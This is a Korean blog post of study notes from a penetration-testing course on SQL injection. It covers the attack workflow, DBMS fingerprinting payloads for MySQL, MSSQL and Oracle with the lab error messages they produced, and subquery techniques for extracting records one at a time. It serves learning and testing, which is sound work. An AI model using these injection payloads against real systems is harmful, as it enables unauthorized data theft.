본문 바로가기
정보보안/모의해킹

모의해킹 강의(SQL Injection Part1) 6

by IT매니절 2024. 10. 21.

모의해킹 실무자가 알려주는, SQL Injection 공격 기법과 시큐어 코딩 : PART 1

강의주소 :  https://www.inflearn.com/course/sql-injection-secure-coding-1/dashboard

 

데이터 조회 공격이란?
SQL 구문 삽입으로 인해 데이터를 조회하여 정보를 불법 탈취하는 것

 

순서

취약점 분석
1) 에러유무
2) 취약점유무
3) 조건구문완성

환경분석
1) dbms 파악
2) 공격 적합성 검토

공격 기법 선택
1) error-based
2) blind-based
3) union-based
4) out of band

공격 검증

데이터 조회 공격
1) 기본 정보 목록화
2) 메타 데이터 목록화
3) 데이터 목록화

 

 

 

환경분석 상세, 실습
1) dbms 파악
- 차별점 (함수, 데이터 사전, 순차적 레코드 출력) 에 따른 공격 페이로드가 달라지기 때문
- 에러 메시지, 연결 연산자(mssal +, mysql 공백, oracle ||)
- 함수 종류(mysql mid(), mssal len(), oracle substr()), 더미 테이블(oracle dual, db2 sysibm.sysdummy1)
단 mysql은 substr 호출이 되므로 복합적으로 파악

 

java, jsp를 사용할 경우 oracle일 경우가 높다
php는 mysql일 경우가 높다

 

mssql ex) ?idx=192 and 'test'='te'+'st' 또는 'te'%2b'st'
oracle ex) id=test' and 1=(select 1 from dual) -- 

 

 

test 검색 => 정상조회
te' 'st 검색 => 정상조회
te'a'st 검색 => 에러. ( You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'a'st%' or writer like '%te'a'st%' or content like '%te'a'st%' order by idx desc' at line 1 )
?idx=4 and 'test' = 'te' 'st' => 정상조회
?idx=4 and mid('test', 1,1)='t' => 정상조회
=> Mysql로 판단

 

test 검색 => 정상조회
te' 'st 검색 => 에러 ( message: 'st%' ��ó�� ������ �߸��Ǿ����ϴ�. (severity 15) in C:\APM_Setup\htdocs\board\mssql\index.php on line 30 )
te'+'st 검색 => 정상조회
?idx=4 and len('test')=4 => 정상조회
?idx=4 and 'test' = 'te'%2b'st' => 정상조회
?idx=4 and 'test' = 'te' 'st' => 에러
?idx=(select 4 from dual) => 에러
=> Mssql로 판단

test 검색 => 정상조회
te' 'st 검색 => 에러 ( ORA-00933: SQL command not properly ended in C:\APM_Setup\htdocs\board\oracle\index.php on line 31 )
te'||'st 검색 => 정상조회
|| 연결연산자를 필터링하는지 판단하기 위해
t'||(case when 1=1 then 'e' else 'x' end)||'st 검색 => 정상
t'||(case when 1=2 then 'e' else 'x' end)||'st => 검색결과없음
?idx=4 and 'test' = 'te'%2b'st' => 에러
?idx=4 and 'test' = 'te' 'st' => 에러
?idx=(select 4 from dual) => 정상조회
=> Oracle로 판단

 

2) 공격 적합성 검토

 

dbms 에러 출력 유무 => error-based 공격기법
db 데이터 웹페이지 출력 유무 => union-based 공격기법
예를 들어, 검색기능을 통해 리스트가 출력되면 union-based 공격기법을 시도해볼 수 있다는 뜻

 

1) error-based
2) blind-based
3) union-based
4) out of band (OOB)

속도차이
(mssql) OOB > Union > OOB = Error >>> Blind (자동화 툴 사용)

순차적 레코드 출력이란?
인덱스(idx 등)에 따라 순차적으로 레코드를 출력하는 것


Mysql - Limit 절 사용
select * from members limit 0,1;
=> 0번째부터 1개 (idx 1)
select * from members limit 0,2;
=> 0번째부터 2개 (idx 1, 2)
select * from members limit 2,2;
=> 2번째부터 2개 (idx 3, 4)

select count(id) from members; 이용하여 개수를 구하여 자동화함
5일경우 0~4까지.

 

Mssql - Top절 사용
select top 2 name from sysdatabases;

 

데이터 순서 master tempdb model msdb board

 

⑴ 정렬 Order by

name으로 오름차순된 데이터 순서 : board master model msdb tempdb
select top 1 name from (select top 1 name from sysdatabases order by name)A order by name desc;
=> board
select top 1 name from (select top 2 name from sysdatabases order by name)A order by name desc;
=> master
순차적 출력

(왜 원래 데이터순서와 다르지? 했는데 생각해보니까 name으로 정렬된 데이터니까 였음)

실행순서
from절 => (서브쿼리) => 서브쿼리안의 from절 => order by 오름차순 => top 1 => 1개 데이터가 order by desc에 의해 내림차순 정렬된 후 top 1에 의해 상위 1개 데이터가 출력된다
from절 => (서브쿼리) => 서브쿼리안의 from절 => order by 오름차순 => top 2 => 2개 데이터가 order by desc에 의해 내림차순 정렬된 후 top 1에 의해 상위 1개 데이터가 출력된다

 

핵심은 서브쿼리 안과 밖의 order by 절의 정렬방식이 달라야 하는 것

2005 버전 이후부터는 Error-based에서 이 방식이 먹히지 않는다고 함 (Blind-based는 가능)

 

* 상위 select문 top절 숫자는 1로 고정
* 서브쿼리 select문 top절은 1부터 시작

 

⑵ Not in 연산자
select top 1 name from sysdatabases where name not in('master');
=> 하나씩 키워드를 추가해 배제하는 방식
select top 1 name from sysdatabases where name not in(select top 0 name from sysdatabases);
select top 1 name from sysdatabases where name not in(select top 1 name from sysdatabases);
=> 이를 서브쿼리로 만들어서 순차출력

* 상위 select문 top절 숫자는 1로 고정
* 서브쿼리 select문 top절은 0부터 시작

* 상위 select문 조건 = 서브쿼리 조건

 

⑶ Row_number() 함수

형식 : ROW_NUMBER() over(order by 변수명)

 

해당 함수를 통해 카운팅을 할 수 있다

 

select ROW_NUMBER() over(order by name) num, name from sysdatabases where num=1;
                                                      ③                                               ①                        ②
=> 그러면 이걸로 where절에 num으로 필터링하면 되겠네? 하고 생각하겠지만?

순서상 where절이 실행될 때는 num이라는 변수가 없다

SQL Error [207] [S0001]: 열 이름 'num'이(가) 유효하지 않습니다.

그래서 서브쿼리를 사용해야 한다

 

select name from (select ROW_NUMBER() over(order by name) num, name from sysdatabases)A where A.num=1

select name from (select ROW_NUMBER() over(order by name) num, name from sysdatabases)A where A.num=2

...

 

Oracle - rownum (가상컬럼) 사용

SELECT rownum, username FROM all_users;

 

SELECT rownum, username FROM all_users WHERE rownum=1
이렇게 숫자만 늘리면 되는구나 생각해서 2를 넣으면 안나온다 아무것도

 

SELECT rownum, username FROM all_users WHERE rownum<3

 

rownum은 순차적으로 번호가 할당이 되기 때문에 where절을 이용해 건너뛸 수가 없다

 

SELECT rownum r, username FROM all_users WHERE r=2
=> SQL Error [904] [42000]: ORA-00904: "R": invalid identifier
Error position: line: 1 pos: 47
별칭을 붙여 where절로 제어해보려고 해도? 부적합한 에러가 난다
왜냐면 where절 실행할때는 select가 실행되기 전이기 때문.
이때문에 역시 서브쿼리를 사용해야 한다

 

select * from (select rownum r, username from all_users)A where A.r=1;
select * from (select rownum r, username from all_users)A where A.r=2;
... 아무튼 이렇게 순차적 실행하면 됨

 

( 의문

select rownum r, username from all_users;
하면 all_users의 user_id 기준 오름차순으로 정렬이 되는데
rownum<3 을 넣으면 내림차순으로 정렬되네... 왜지 )

 

순차적 레코드 출력 문법이 필요하지 않은 경우
=> 기본키 Primary key를 이용할 수 있을 때